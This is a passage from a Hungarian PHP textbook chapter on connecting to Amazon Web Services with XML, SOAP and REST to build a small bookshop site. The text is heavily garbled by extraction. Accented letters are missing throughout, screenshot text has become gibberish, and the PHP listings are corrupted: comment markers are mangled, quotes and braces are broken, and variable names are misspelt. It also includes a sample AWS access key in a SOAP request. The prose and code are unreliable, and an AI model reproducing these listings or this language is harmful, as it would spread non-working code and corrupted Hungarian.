len cmkben nyitdnak s zrdnak. Ha dolgoztunk mr XHTML-lel, pontosan ezrt lthattuk a <br> cmke helyett
a <br

/>-t.

Ezen tlmenen minden elemet szablyosan kell begyazni. Egy HTML rtelmezt minden bizonnyal nem

zavar a <b><i>Szveg</b></i>, de az XML vagy XHTML rvnyessghez szablyosan kell begyazni a cmkket:
<b><i>Szveg</i></b>.

Taln mr szrevettk, hogy az XML s a HTML kztt az a legfbb klnbsg, hogy elbbiben sajt cmkket hozharunk
ltre. Ez adja az XML rugalmassgt, hiszen a trolni kvnt adatoknak megfelel szerkezet dokumentumokat hozhatunk lt
re. D ocument Type Definitiont ( dokumentumtpus-defincit, DTD) vagy XML Schemt rva formba nthetjk XML do
kumentumaink struktrjt. Mindkettt arra hasznljuk, hogy lerjuk egy adott XML dokumentum szerkezett. Ha a DTD-t
vagy a Schemt osztlydeklarciknt kpzeljk el, akkor pedig az XML dokumentum az adott osztlynak lesz egy pldnya.
Mostani pldnkban nem hasznlunk sem DTD-t, sem Schemt.
Az Amazonnak a Web Services fellethez tartoz aktulis XML smjt a http:/ /webservices.amazon.com/
AW SECommerceService/AW SECommerceService.xsd oldalon talljuk. Az XML smt kzveclenl bngsznkben meg
tudjuk nyitni.

1-J

566

33. fejezet

Lthatjuk, hogy az els sotban szeteplXML deklarcit leszmtva a dokumentum teljes trzst az ItemLookupResponse
elemen bell talljuk. Ezt a dokumentumgykrelemnek ( root element) nevezzk. Vizsgljuk meg kzelebbrl:
<ItemLookupResponse
xmlns="http://webservices.amazon.com/AWSECommerceService/2005-03-23">

Az elem egy viszonylag szokadan attribtummal rendelkezik: XML

nvterek (namespace). Projektnk megvalstshoz

nem szksges megrtennk a nvterek mkdst, mgis hasznos lehet, ha tisztban vagyunk a fogalom jelentsvel.Az alap
gondolat az, hogy nvtrhez kapcsoljuk az elemek s attribtumok nevt, gy a gyakori nevek nem fognak tkzni akkor sem,
amikor klnbz forrsokbl szrmaz dokumentumokkal dolgozunk. Ha szeretnnk tbbet megtudni a nvterekrL olvas
suk el a ,N
. amespaces inXML Recommendation" (XML nvterekre vonatkoz ajnls) dokumentumot a http:/ /www.w3.org/
TR/REC-xml-names/ oldalon! Ha ltalnossgban szeretnnk tbbet megtudni azXML-rl, szmos informciforrsbl
tjkozdhatunk.A W3C oldala kivl kiindulsi pont, de tbb szz kivl knyvet s webes oktatanyaget is rtak mr errl
a tmrl.Az ZVON.org oldalon nagyszer webes oktatanyagokat tallunk azXML-hez.

Web Services
A Web Services, vagyis webes szolgltatsok az interneten keresztl elrhet alkalmazsfelletek. Ha objektumorientlt fo
galmakban gondolkodunk, egy adott Web Service olyan osztlynak tekinthet, amely az interneten keresztl teszi kzz nyil
vnos metdusait.A Web Services immr szles krben elterjedt koncepci, s az iparg nagy nevei kzl egyre tbben teszik
egyes funkciikat Web Services segtsgvel elrhetv.A Google, azAmazon, az eBay s a PayPal pldul rnind Web Services
szolgltatsok szles vlasztkt kinlja. Miutn a fejezetben vgigvesszk az Amazon fellethez illeszked kliens bellts
nak folyamatt, igen egyszeren fejleszthetnk kliensfelletet pldul a Google-hoz is. Ehhez a http:/l code.google.com/apis/
oldalon tallunk tovbbi informcit.
Tbbfle magprotokollt hasznlunk a tvoli fggvnyhvs mdszerben.A kt legfontosabb kzlk a SOAP s a WSDL.

SOAP
A SOAP olyan, krs s vlasz ltal vezrelt zenerkld protokoll, amely lehetv teszi a klienseknek Web Services szolgl
tatsok meghvst, illetve lehetv teszi a kiszolglknak, hogy vlaszoljanak az ilyen krsekre. Minden SOAP zenet, gy
a krsek s a vlaszok is egyszerXML dokumentumok.A 33.1 pldakdban azAmazonnak kldhet SOAP krsre ltunk
pldt. Ez a krs vltotta ki a 33.1 pldakdban ltottXML-t.
33.2 pldakd:

33

SOAP krsASIN alapjn trtn keressre

<SOAP-ENV:Envelope>
<SOAP-ENV:Body>
<m:ItemLookup>
<m:Request>
<m:AssociateTag>webservices-20</m:AssociateTag>
<m:IdType>ASIN</m:IdType>
<m:Itemid>0672317842</m:Itemid>
<m:AWSAccessKeyid>OXKKZBBJHE7GNBWF2ZG2</m:AWSAccessKeyid>
<m:ResponseGroup>Similarities</m:ResponseGroup>
<m:ResponseGroup>Small</m:ResponseGroup>
</m:Request>
</m:ItemLookup>
</SOAP-ENV:Body>

A SOAP zenet elszr is deklarlja, hogy XML dokumentummal llunk szemben. Minden SOAP zenetnek SOAP
Envelope a gykreleme. Ezen bell talljuk a Body elemet, amely magt a krst tartalmazza.
A krs egy ItemLookup, ami pldnkban arra kri azAmazon kiszolgljt, hogy azASIN kd (Amazon.com Standard
!tem Number, azaz Amazon.com szabvnyos ttelszm) alapjn keressen ki az adatbzisbl egy adott ttelt.AzAmazon.com
adatbzisban minden egyes termkhez ezt az egyedi azonostt rendelik hozz.
Az ItemLookup krst tvoli gpen trtn fggvnyhvsknt, elemeit pedig az ennek a fggvnynek tadand para
mterekknt kpzelhetjk el.A fenti pldban az IdType elemben tadjuk az,.ASIN" ttket, majd magt azASIN kdot

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

567

(0672317842) az I temld elemben kldjk el az Amazon kiszolgljnak; ez a kd knyvnk els kiadsra hivatkozik.
t kell adnunk mg Amazon partnerkdunkat (Associate ID), amit az Associa teTag elemben tesznk meg; a vlaszok
krt tpust (a ResponseGroup elemben); illetve az AWSAccessKeyld-t, ami egy, az Amazon ltal neknk adott fejleszti
tokenrtk ( developer token value).
Az erre a krdsre kapott vlasz a 33.1 dokumenrumban ltott XML dokumenrurnhoz hasonl- azzal a klnbsggel,
hogy SOAP Envelope elem fogja kzre.
SOAP hasznlata esetn- programozsi nyelvtl fggetlenl- ltalban programozssal, egy SOAP knyvtrat hasznl
va lltjuk el a SOAP krseket, s rtelmezzk az azokra rkez vlaszokat. Ez azrt elnys, mert megkiml bennnket
a SOAP krsek sajt kez ltrehozsrl, illetve a vlaszok hasonlkppeni rtelmezstL
WSDL
A WSDL a Web Services Description Language (webszolgltats-ler nyelv) rvidtse. (Gyakran.,vizdl"-nek ejtik.) A nyelv
arra szolgl, hogy lerjuk vele az adott weboldalon elrhet szolgltatsokhoz tartoz felletet. Ha szeretnnk ltni a fe
jezetben hasznlt Amazon Web Services szolgltatsokat ler W DSL dokumenrumot, a http:llecs.amazonaws.coml
AWSECommerceServicelAWSECommerceService.wsdl oldalon talljuk meg.
Ha rkaetinrunk erre a hivatkozsra, ltjuk, hogy a WSDL dokumenrumok sokkal sszetettebbek, mint a SOAP zenetek.
ppen ezrt, ha egy md van r, rninden esetben programozssal fogjuk ellltani s rtelmezni azokat.
Ha szeretnnk tbbet megrudni a WSDL-rl, olvassunk bele a http:llwww.w3.orgiTR/wsdl201 oldalon elrhet W3C
ajnlsba!

A megolds alkotelemei
A projekthez fejlesztend megolds tbb elembl ll. A nyilvnvalan szksges alkotelemeken- pldul a ltogatink sz
mra kialakitand kosrfunkcikon, illetve az Amazonhoz REST vagy SOAP segtsgvel val kapcsolds kdjn - tl n
hny segdalkalmazsra is szksgnk lesz. Kdunknak rtelmeznie kell a visszakapott XML dokumenrumokat ahhoz, hogy
kinyerjk bellk a kosr ltal megjelentett informcikat. Az Amazon elvrja, illetve alkalmazsunk teljestmnyt is nveli
a gyorsttrazs. Mivel a vsrls vgn a fizets az Amazonnl trtnik, valarnilyen mdon t kell adni a vsrli kosr tartal
mt az Amazonnak, illetve magt a vsrlt is t kell adnunk az Amazon szolgltatsnak.
Rendszernk megjelentsi (front end) rtegben nyilvnvalan ltre kell hozni a kosr funkcit . Ezt a Kosr funkci prog
ramozsa cm 28. fejezetben mr megrettk. Mivel projektnk kzppontjban nem az online vsrls ll, ebben a fejezetben
egy leegyszerstett alkalmazst fogunk hasznlni. Pusztn alapszint kosrra van szksgnk, ami kpes nyomon kvetni,
hogy rnit vlasztott ki a vsrl, majd fizetskor kzli ezt az Amazonnal.
Az Amazon Web Services fellet hasznlata

Az Amazon Web Services fellet hasznlathoz regisztrlnunk kell a http:llaws.amazon.com oldalon, ahol fejleszti tokent
kapunk. Ez a token azonost bennnket az Amazonnl, amikor krseink berkeznek.
rdemes lehet Amazon partnerazonostt (Associate ID) is ignyelni, mert gy jutharunk hozz a jutalkhoz, amit a ltoga
tk ltal felletnkn keresztl vsrolt termkek utn fizet az Amazon.
Az Amazon Web Services (AWS) Resource Center for Developers (Amazon webszolgltatsok informcis kzpontja
fejlesztknek), amit a http:ll developer.amazonwebservices.coml oldalon rnk el, rengeteg dokumentcit, oktatanyagat s
mintakdot kinl, amelyek mind az Amazon Web Services szolgltatsokhoz val kapcsaldst segtik. A fejezetben szerepl
pldn vgigmenve mkd rendszert fejlesztnk, s megismerkednk az AWS-hez kapcsolds s az informcilekrs alap
jaival, de ha szeretnnk az itt bemutatott alkalmazsbl kiindulva les weboldalt fejleszteni, akkor sznjunk nmi idt a do
kumentci alaposabb megismersre! Pldul sokfle elemet kereshetnk s nyerhetnk ki a tallz- s a keresinterfszek
segtsgve!. Attl fggen, hogy milyen elemekre van szksgnk, a visszakapott adatok klnbz struktrjak lehetnek.
Minden informci dokumentlva van a weboldalrl elrhet AWS Developer Guide-ban.

Megjegyzs: Hasonlan rtkes informciforrs az AWSZone.com (http://www.awszone.com/). Ezen az oldalon tesztelhet


jk SOAP s REST lekrdezseinket, s lthatjuk a krsek, illetve a vlaszok struktrjt. !gy tudni fogjuk, hogyan hivatkoz
zunk a visszakapott adatokra. A tesztvlaszok alapjn meghatrozhatjuk a pontos ResponseGroup tpust, amit a legjobb
s leggyorsabb eredmnyek rdekben hasznlnunk rdemes.

33

568

33. fejezet

A fejleszti token ignylse rdekben trtn regisztrcinl el kell fogadni a licencszerzdst. rdemes elolvasni, mert ez
nem teljesen olyan, mint a megszekott - s soha el nem olvasott- szoftverlicencek. A fejleszts szempontjbl fontos licencfel
ttelek a kvetkezk:
Msodpercenknt legfeljebb egy krst intzhetnk.
Gyorsttraznunk kell az Amazontl rkez adatokat.

Az adatok tbbsgt 24 rig, egyes lland attribrumokat legfeljebb hrom hnapig tartharunk a gyorsttrban.
Ha egy rnl hosszabb idre gyorsttrazzuk az rakat s a termkek elrhetsgt, akkor nyilatkozatot kell kzzten
nnk felelssgnk korltozsrl.
Hivatkozsainknak az Amazon.com megfelel oldalra kell mutamiuk, s nem szabad az Amazon oldalrl letlttt
szveget vagy kpeket ms zleti weboldalon megjelenteni.

Ha ilyen nehezen kibetzhet domainnevet vlaszrunk, nem reklmozzuk magunkat, s semmilyen nyilvnval ok nincs
arra, hogy a ltogatk a Tahuayo.com oldalt hasznljk ahelyett, hogy kzveclenl az Amazon.com-ra mennnek, akkor egyl
taln nem kell aggdnunk azon, hogy a krsek szmt msodpercenknt egy alatt tartsuk.
Projektnkben gyorsttrazst alkalmazunk annak rdekben, hogy megfeleljnk a 2-4. pontban megfogalmazott kvetel
mnyeknek. Alkalmazsunk 24 rig trolja gyorsttrban a kpeket, a termkadatokat (gy az rakat s a kszletinformci
kat) pedig egy rig troljuk el itt.
A ltrehozand alkalmazsunk az tdik pontnak is megfelel. Azt szeremnk, hogy a foldalon lv elemek weboldalunk
rszletes termkoldalaira mutassanak, de ha a vsrl vgzett a megrendelssel, tkldjk t az Amazon oldalra.

XML rtelmezse: REST vlaszok


Az Amazon ltal a Web Services szolgltatsaihoz knlt legnpszerbb fellet REST-en keresztl mkdik. A fellet szak
sos HT T P krst fogad, s XML dokumentumot ad vissza. Hasznlathoz rtelmeznnk kell az Amazon ltal visszakldtt
XML vlaszokat. Ezt a PHP SimpleXML knyvtrval tehetjk meg.

SOAP hasznlata PHP-vel


Az ugyanezeket a Web Services szolgltatsokat knl msik fellet a SOAP. A szolgltatsok SOAP ltali elrshez a k
lnbz PHP SOAP knyvtrak valamelyikt kell ignybe vennnk. Ltezik ugyan beptett SOAP knyvtr, de mert az nem
mindig lesz elrhet, a NuSOAP knyvtrat is hasznlhatjuk. Mivel a NuSOAP PHP-ben rdott, nem szksges fordtani.
Egyetlen f:ijl, amit a re qu ire one e ( ) fggvnnyel knnyedn behvhatunk.
_
A NuSOAP a http://sourceforge.net/projects/nusoap/ oldalrl rhet el. Lesser GPL licenc alatt hasznlhat, ami azt

33

jelenti, hogy brmilyen, akr zleti alkalmazsokban is dolgozharunk vele.

Gyorsttrazs
Korbban mr emltettk, hogy az Amazon felttelei kztt szerepel az is, hogy az Amazonrl a Web Services szolgltatsok
kal letlttt adatokat gyorsttrazni kell. Projektnkben ezrt megoldst kell tallni arra, hogy a letlttt adatokat rvnyess
gi idejkig a gyorsttrban eltroljuk, illetve a gyorsttrbl hasznljuk azokat.

A megolds ttekintse
A 29. s a 30. fejezet projektjhez hasonlan itt is esemnyvezrelt megkzeltssel futtatjuk a kdot. Ennl a projektnl elte
kintettnk a rendszer folyamatbrjnak megrajzolstl, mert pusztn nhny kpernybl ll a rendszer, s egyszer kapcso
lat ll fenn ezek kztt.
A felhasznlk elszr a Tahuayo foldalt ltjk, amit a 33.1 bra mutat.

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

569

c::::J
._,
-

t..-

33.1 bra: A Tahuayo nyitoldala a honlap minden Jontos Junkcijt megjelenti:

a kategrik kztti naviglst, a keresst s a kosarat.


Lthatjuk, hogy az oldal fbb funkcii a Selected Caregories (Kivlas:;tott kategrik), illetve az azokba tarto:; termkek
megjelentse. A nyitoldalon alaprtelmezsben az ismeretterjes:;t irodalom kategria pillanatnyilag legjobban fogy kiadv
nyait tallj uk. Ha a felhas:;nl msik kategrira kattint, annak a kategrinak a hasonl oldalt lthatja megjelenni.
Mieltt tovbbmennnk, ris:;thnunk kell egy fontos fogalmat. A:; Amazon bngszs i csompontnak (browse node) nevezi
a kategrikat. Kdunkban s a hivatalos dokumenrumban soks:;or tallko:;hatunk e:;:;el a kifejezssel. A dokumentciban
megtalljuk a nps:;er bngszsi csompontok listjt. Ha ezen tlmenen adott kategrira lenne siksgnk, bngs:;
s:;nk a s:;oksos Amazon.com oldalon, s olvassuk be az URL-bl, vagy pedig has:;nljuk a http://www.browsenodes.com/
oldalon elrhet Browse Nodes forrst! Elg idegest mdon nhny fontos kategrit, k:;tk pldul a sikerlists knyveket
nem lehet bngssi csompontknt elrni.
A:; oldal aljn tovbbi knyveket s ms oldalakra mutat hivatkosokat tallunk, de e:;ek a kpernymentsen nem ltha
tk. Minden oldalon 10 knyvet fogjunk megjelenteni, illetve legfeljebb 30, msik oldalra mutat hivatkost. A2: oldalanknti
tzes rtket az Ama:;on hatro:;ta meg. az oldalanknti harmincas korltot pedig rni magunk vlas:;tottuk.
A felhas:;nlk innen az egyes knyvek rs:;letes adatait megjelent oldalakra mehemek. Ilyen kpernyt lthatunk a 33.2 brn.
._-_....., ,.._.... --..... .

com
...
....1 .. ,

Sdeaed CMegori6

t::::J '

33

'
Tlwee C:..,. of Te.: One MlM1'.1 to Promote Pece . . One
SctlOG et a T"-e

llrGfte--O...Itolo
,..._lDD7-0I.J0

........... )
0.."*-:n.

t.J.tpda<IIJ.00SAW$7.H
!S&M.I4!Cl\H"

a..

.".__ *****
..... u

..-,.t..oWl4-

!!:o.,IW!wsDw"'*'tlMWmMQeele!!'t+IM:t.l!ppiiJW.
"'KoioJJo:Jon.

33.2 bra: A rszletes termkoldalakon tovbbi informcikat kapunk egy adott knyvrl, rtkelseket olvashatunk rla,

illetve hasonl kiadvnyokat tallunk itt.


Br a kpernymentsre nem frt r, a kd az Amazon ltal kldtt informcik tlnyom rs:;t megjelenti az oldalon.

gy dntttnk, hogy oldalunkon csak a knyvekkel foglalko:;unk, s nem jelentjk meg a:;on kategrik listjt sem, ame
lyekbe az adott kiadvny nem illik bele.
Ha a felhas:;nl egy bort kpre kattint, nagyobb mretben lthatja.
Taln s:;revettk mr az brkon a kperny fels rsn lv keressi me:;t. E:;:;el a funkcival kulcss:;avas keresst indt
hatunk az oldalon, amely a Web Services felleten keres:;tl fog az Amazon katalgusban keresni. A 33.3 bra a keress egy
mintaeredmnyt mutatja.

570

33.fezet

33.3 bra: A kpernyn a batman szra keress eredmnyt ltjuk.


Annak ellenre, hogy projektnkben csak nhny kategrit listzunk ki, a felhasznlk a keressi funkcival s az adott
knyvekre naviglva brmelyik kiadvnyhoz eljuthatnak. Minden egyes knyvhz tartozik egy .Add to Cart" (Kosrba) hi
vatkozs. Ha a felhasznl erre vagy a kosr.,Details" (Rszletek) linkjre kattint, akkor megjelenti a kosr tartalmr. Ezt az
oldalt ltjuk a 33.4 brn.

33
33.4 bra: A kosr oldaln a vsrl egyenknt trlheti a kosrban lv tteleket, kirtheti kosart, illetve fizethet.
Vgl, amikor a vsrl a.,Checkout" (Fizets) hivatkozsra kattintva fizetni kszl, kosarnak adatait elkldjk az Amazon
ra, s t is tirnytjuk oda. Ekkor a 33.5 brn lthathoz hasonlhoz kpernyvel tallkozik.
Most mr taln mindenki ltja, hogy mit rtnk az alatt, hogy elksztjk sajt felhasznli felletnket, s az Amazon
oldalt hasznljuk mgttes infrastrukrraknr. Mivel ez a projekt is esemnyvezrelt megkzeltst kvet, az alkalmazs
dnrshoz logikjnak nagy rsze egyeden fJlban tallhat
tartalmazza.

(index. php). A projekt fjljainak sszefoglalst a 33.1 tblzat

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

571

---l l l .ll:lill
l fQag 112l!!l

33.5 bra: Mieltt az Amazon kosarba kerlnek a termkek, a rendszer visszaigazolja a tranzakcit,
s a Tahuayo kosarbl mutaga az sszes kivlasztott ttelt.
33.1 tblzat: A Tahuayo alkalmazs fjljai
Lers

Fjlnv

Tpus

index.php

Alkalmazs

Az alkalmazs magjt alkot kdot tartalmaz fjl

about.php

Alkalmazs

Az About (Rlunk) oldalt jelenti meg

constants.php

Beillesztett fjl

A globlis llandk s vltozk egy rszt lltja be

topbar.php

Beillesztett fjl

Az egyes oldalak tetejn lthat informcis svot s


a CSS-t hozza ltre

bottom.php

Beillesztett fjl

Az egyes oldalak aljn lv lblcet lltja el

AmazonResultSet.php

Osztlyfjl

Az egyes Amazon-Iekrdezsek eredmnyt trol PHP


osztlyt tartalmazza

Product.php

Osztlyfjl

Az egyes knyvek adatait tartalmaz PHP osztlyt tartal


mazza

bookdisplayfunctions.php

Fggvnyek

Az egyes knyvek s knyvlistk megjelentst lehetv tev


fggvnyeket tartalmazza

cachefunctions.php

Fggvnyek

Az Amazon ltal megkvetelt gyorsttrazs vgrehajts


hoz szksges fggvnyeket tartalmazza

cartfunctions.php

Fggvnyek

A kosr funkcihoz kapcsold fggvnyeket tartalmazza

categoryfunctions.php

Fggvnyek

A kategrik visszakeresst s megjelentst segt fggv


nyeket tartalmazza

utilityfunctions.php

Fggvnyek

Az alkalmazs klnbz pontjain hasznlt segdfggvnye


ket tartalmazza

A korbban mr emltett nusoap.php fjlrl sem szabad elfeledkeznnk, mert ezekben a fjlokban szksgnk lesz r.
A NuSOAP a knyv letlthet mellkletnek 33_fej ezet mappjban tallhat, de ha idkzben megjelent mr j verzi
ja, a http:/ l sourceforge.net/ projects/ nusoap/ oldalrl letlthetjk.
Vgjunk bele a projekebe az alkalmazs gerinct kpez index.php rtanulmnyozsval!

Az alkalmazs magja
Az index.php fjl kcljt a 33.3 pldakdban talljuk.

33

572

33. fejezet

33.3 pldakd: index.ph p -Az alkalmazs gerince


<?php

ll egyetlen munkamenet-vltozt ('eart') hasznlunk a kosr tartalmnak trolsra


session_start();

require once('constants.php');
require_once('Product.php');
require_once('AmazonR esultSet.php');
require_once('utilityfunctions.php');
require_once('bookdisplayfunctions.php');
require_once('cartfunctions.php');
require_once('categoryfunctions.php');

llEzeket a vltozkat kvlrl vrjuk.


llEllenrizzk, majd globlis vltozkra konvertljuk ket
$external = array('action',

'ASIN',

'made',

'browseNode',

'page',

'search') ;

ll a vltozk Get vagy Post mdszerrel rkezhetnek


ll alaktsuk t az sszes vrt kls vltoznkat rvid globlis nevekre!
foreach ($external as $e)
if(@$_REQUEST[$e]) l
$$e = $_REQUEST[$e];
else

$$e = '';

$$e

trim($$e);

ll alaprtelmezett rtkek a globlis vltozknak


if($made==")

33

$made = 'Books';

ll Semmilyen ms mddal nem foglalkozunk a pldban

if($browseNode=='')
$browseNode

53; //az 53 a legjobban fogy ismeretterjeszt knyv kategrija

if($page=='')
$page = l;

//Els oldal - oldalanknt 10 ttel

ll beviteli adat ellenrzse/megtiszttsa


if(!eregi('[A-Z0-9]+$',

$ASIN))

ll az ASIN alfanumerikus kell,

hogy legyen

$ASIN ='';

if(!eregi('[a-z]+$',

$made))

ll a md csak betkbl llhat


$made = 'Books';
$page=intval($page);

ll az oldalaknak s a bngszsi csompontoknak


ll egsznek kell lennik

$browseNode

intval($browseNode);

ll Els pillantsra taln kevss rthet,

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

ll de az albbi kdrsz pusztn arrl szl,


ll hogy a $search vltozt megszabadtjuk a nem kvn rtkektl
$search = safeString($search);

if(!isset($_SESSION['cart']))
session_register('cart');
$ SESSION['cart'] = array();

ll a fels sv megjelenitse eltt vgrehajtand feladatok


if($action == 'addtocart')
addToCart($_SESSION['cart'],

$ASIN,

$mode);

if($action == 'deletefromcart')
deleteFromCart($_SESSION['cart'],

$ASIN);

if($action == 'emptycart')
$ SESSION['cart'] = array();

ll fels sv megjelenitse
require_once ('topbar.php');
ll f esemnyhurok. A felhasznl ltal vgrehajtott mveletre vlaszol
switch ($action)
case 'detail':
showCategories($mode);
showDetail($ASIN,

$mode);

break;

case 'addtocart':
case 'deletefromcart':
case 'emptycart':
case 'showeart':
echo "<hr l><hl>Your Shopping Cart<lhl>";
showCart($_SESSION['cart'],

$mode);

break;
case 'image':
showCategories($mode);
echo "<hl>Large Product Image< lhl>";
showimage($ASIN, $mode);
break;
case 'search' :
showCategories($mode);
echo "<hl>Search Results For ".$search."<lhl>";
showSearch($search,

$page,

break;
case 'browsenode':
default:
showCategories($mode);

$mode);

573

574

33. fejezet

$category = getCategoryName($browseNode);
if(! $category

l l

($category==' Be st Selling Books'))

echo "<hl>Current Best Sellers<lhl>";


else
echo "<hl>Current Best Sellers in ".$category."<lhl>";

showBrowseNode($browseNode,

$page,

$mode) ;

break;

require ('bottom.php');
?>

Nzzk vgig ezt a fjlt! Elszr is ltrehozunk egy munkamenetet (session). A korbbiakhoz hasonlan irt is munkamenet
vltozknt troljuk a vsrl kosart. Ezt kveten tbb fjlt is beillesztnk. Tbbsgk ksbbiekben bemutatand fggvny, de
az elsknt beillesztert fjllal rdemes most kln foglalkoznunk. Ez a constants.ph p nhny fontos llandt s vltozt defi
nil, olyanokat, amiket az egsz alkalmazsban hasznlni fogunk. A constants.php tartalmt a 33.4 pldakdban talljuk.
33.4 pldakd: constants.php -A fbb globlis llandk s vltozk deklarlsa
<?php
ll az alkalmazs REST (XML over HTTP) vagy SOAP

segtsgvel kapcsoldhat

ll definiljuk a kivlasztott mdszert!


ll de fine('METHOD',
define( 'METHOD',

'SOAP');

'REST');

ll ne felejtsk el ltrehozni a cache knyvtrat,


define('CACHE',

'cache');

define('ASSOCIATEID',
define('DEVTAG',

ll hibt ad,

'XXXXXXXXXXXXXX');

'XXXXXXXXXXXXXX');

ll rjuk be ide partnerkdunkat!

ll rjuk be ide fejleszti tokennk rtkt!

ha a programot dummy devtag rtkkel futtatjuk

if(DEVTAG=='XXXXXXXXXXXXXX')

33

s tegyk rhatv!

l l gyorsttrazott fjl ok elrsi tvonala

die ("You need to sign up for an Amazon.com developer tag at


<a href=\"https:llaws.amazon.comi\">Amazon<la>
when you install this software.

You should probably sign up

for an associate ID at the same time. Edit the file constants.php.");

ll Amazon bngszsi csompontok (rszleges) listja


$categoryList = array(S=>'Computers & Internet',
295223=>'PHP',

3=>'Business & Investing',


23=>'Romance',
6 =>'Food

&

3510=>'Web Development',

17=>'Literature and Fiction',


53=>'Non Fiction',

75=>'Science',

Wine',

21=>'Reference',

27=>'Travel',

16272=>'Science Fiction'
);
?>

Az alkalmazst gy hoztuk ltre, hogy REST tvitellel s SOAP protokollal egyarnt hasznlhat legyen. A kt mdszer
kzte gy vlaszthatunk, hogy a megfelel rtket lltjuk be a METHOD llandban.
A CACHE konstans az Amazonrl letlttt adatok gyorsttrnak elrsi tvonalt trolja. Adjuk meg irt a rendszernkn
hasznlni kvnt elrsi tvonalat!
Az ASSOCIATEID lland Amazon partnerazonostnkat tartalmazza. Ha a tranzakcikkal egytt ezt is elkldjk az
Amazonnak, jutalkot kaphatunk. Ne felejtsk el a kdba berni sajt partnerazonostnkat l

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

575

AE
D
VTAG
konstans az Amazon ltal regisztrcinkkor adott fejleszti token rtkt trolja. Mdostsuk a kdot sajt
tokennk rtknek megfelelen, klnben az alkalmazs nem fog mkdni! Tokene gy ignyelhetnk, ha regsztrlunk az
http:/ /aws.amazon.com oldalon.
Trjnk most vissza az index. php fjlhoz! A kd az elkszletek utn a f esemnyhurkot tartalmazza. Azzal indul,
hogy kinyerjk a$_REQUEST szupergloblis vltozha GET vagy POST mdszerrel rkez vltozkat. Ezt kveten bellt
juk egyes globlis vltozk rtkr; ezek a vltozk fogjk a ksbbiekben meghatrozni a megjelenirend tartalmat:
ll alaprtelmezett rtkek a globlis vltozknak
if($mode==

'

')

$mode = 'Books';

ll Semmilyen ms mddal nem foglalkozunk a pldban

if($browseNode==' ')
$browseNode = 53;

//az

53

a legjobban fogy ismeretterjeszt knyv kategrija

if($page==' )
'

$page = l;

//Els oldal - oldalanknt 10 ttel

A mode vltoz rtkt Books-ra lltjuk. Az Amazon tbb ms mdot (vagyis termktpust) tmogat, de ebben az alkal
mazsban csak a knyvekkel foglalkozunk. A fejezet kdjt egyszeren mdosthatnnk gy, hogy ms termkkategrikat
is kezelni tudjon. Ennek els lpse a $mode vltoz rtknek megvltoztatsa lenne. Ellenriznnk kellene az Amazon
dokumentcijban, hogy a knyvtl eltr termkek esetn rnilyen ms attribtumokat kapunk vissza, s el kellene tvoltani
a felhasznli felletrl a knyvspecifikus elemeket. A browseNode vltoz hatrozza meg a megjelenteni kvnt knyvka
tegrikat. A vltoz rtkt bellthatja a felhasznl, amikor a kvlasztott kategrik valamelyik hivatkozsra kattint. Mi
magunk 53-ra lltjuk a vltoz alaprtelmezett rtkr, hogy kezelni tudjuk az olyan helyzeteket, arnikor a felhasznl mg
nem vlasztott kategrit - pldul, mert mg csak most nyitotta meg weboldalunkat. Az Amazon bngszsi csompontjai
egyszer egsz szmok, amelyek egy-egy kategrit azonostanak. Az 53-as rtk a Non-Fiction Books, vagyis az ismeretter
jeszt kategrit jelkpezi. Ez legalbb annyira alkalmas a nyitoldalon val megjelentsre, mint brmely msik kategria,
hiszen a taln legjobb ltalnos kategrik (kztk pldul a sikerlists knyvek) nem rhetk el bngszsi csompontknt.
A page vltoz kzli az Amazonnal, hogy az adott kategrin bell a tallatok mely rszhalmazt kvnjuk megjelenteni.
Az l. oldal az 1-10. tallatokat, a 2. oldal a 11-20. tallatokat tartalmazza, s gy tovbb. Az egy oldalon megjeleniehet kny
vek szmt az Amazon hatrozza meg, ezt az rtket nem ll mdunkban megvltoztatni. Azt termszetesen megrehetnnk,
hogy oldalainkon kt vagy tbb Amazon oldalnyi adatot jelentnk meg, de az oldalanknt tz knyv egyrszt sszer mennyi
sg, msrszt felesleges lenne megnehezteni sajt dolgunkat.
Ezt kveten megtiszttjuk az esetlegesen a keressi mezben vagy a E
G
T vagy POST paramter ltal kapott beviteli rtkeket:
ll beviteli adat ellenrzse/megtiszttsa
if(!eregi(

'A

[A-Z0-9] +$',

$ASIN))

ll az ASIN alfanumerikus kell, hogy legyen


$ASIN ='';
if(!eregi('A[a-z]+$',

$mode))

ll a md csak betkbl llhat


$mode =

'Books';

$page=intval($page);

// az oldalaknak s a bngszsi csompontoknak

ll egsznek kell lennik


$browseNode

intval($browseNode);

llEls pillantsra taln kevss rthet,


ll de az albbi kdrsz pusztn arrl szl,
ll hogy a $search vltozt megszabadtjuk a nem kvn rtkektl
$search = safeString($search);

Semmi jdonsg nincsen a fenti kdrszletben. AsafeString () fggvnyt a utilityfunctions. php fjlban tall
juk. Egyszeren az a feladata, hogy regulris kifejezs segtsgvel eltvoltsa a beviteli karakterlncokbl a nem alfanumerikus
karaktereket. Mivel ezzel a tmval korbban mr rszletesen foglalkoztunk, a fggvny kdjt itt s most nem kzljk.
A legfbb oka annak, hogy alkalmazsunkban ellenriznnk kell a felhasznl ltal bevitt szveget, az, hogy az ilyen bevitele
a gyorsttrban hasznlt fjlnevek ltrehozsra fogjuk felhasznlni. Komoly problmkba futhatnnk bele, ha a felhasznlk
.. vagy l karaktert hasznlhatnnak az ltaluk bevitt adatokban.

33

576

33. fejezet

Ha a vsrl mg nem rendelkezik kosrral, akkor most ltrehozzuk neki:


if {!isset{$ SESSION ['eart' J))

session_register{'cart');
$ SESSION['cart'] = array{);

Mg mindig vr rnk nhny feladat, mieltt megjelenthetnnk az oldal tetejn lv informcis svban szerepl adatokat
(a 33.1 brra visszalapozva felidzhetjk, hogyan nz ki ez a sv). Minden oldal fels svjban megjelenik a kosr, ezrt fontos,
hogy az informcis sv megjelentse eltt naprakssz tegyk a kosr vltozjt:
ll a fels sv megjelenitse eltt vgrehajtand feladatok
if{$action == 'addtocart') {
addToCart{$ SESSION['cart'],
if{$action == 'deletefromcart')

$ASIN,

deleteFromCart{$ SESSION['cart'],
if{$action == 'emptycart')
$ SESSION['cart']

$mode);

$ASIN);

= array{);

Ezzel a kddal szksg esetn knyveket adhatunk a kosrhoz, illetve trlhetnk belle, mieltt megjelentennk azt.
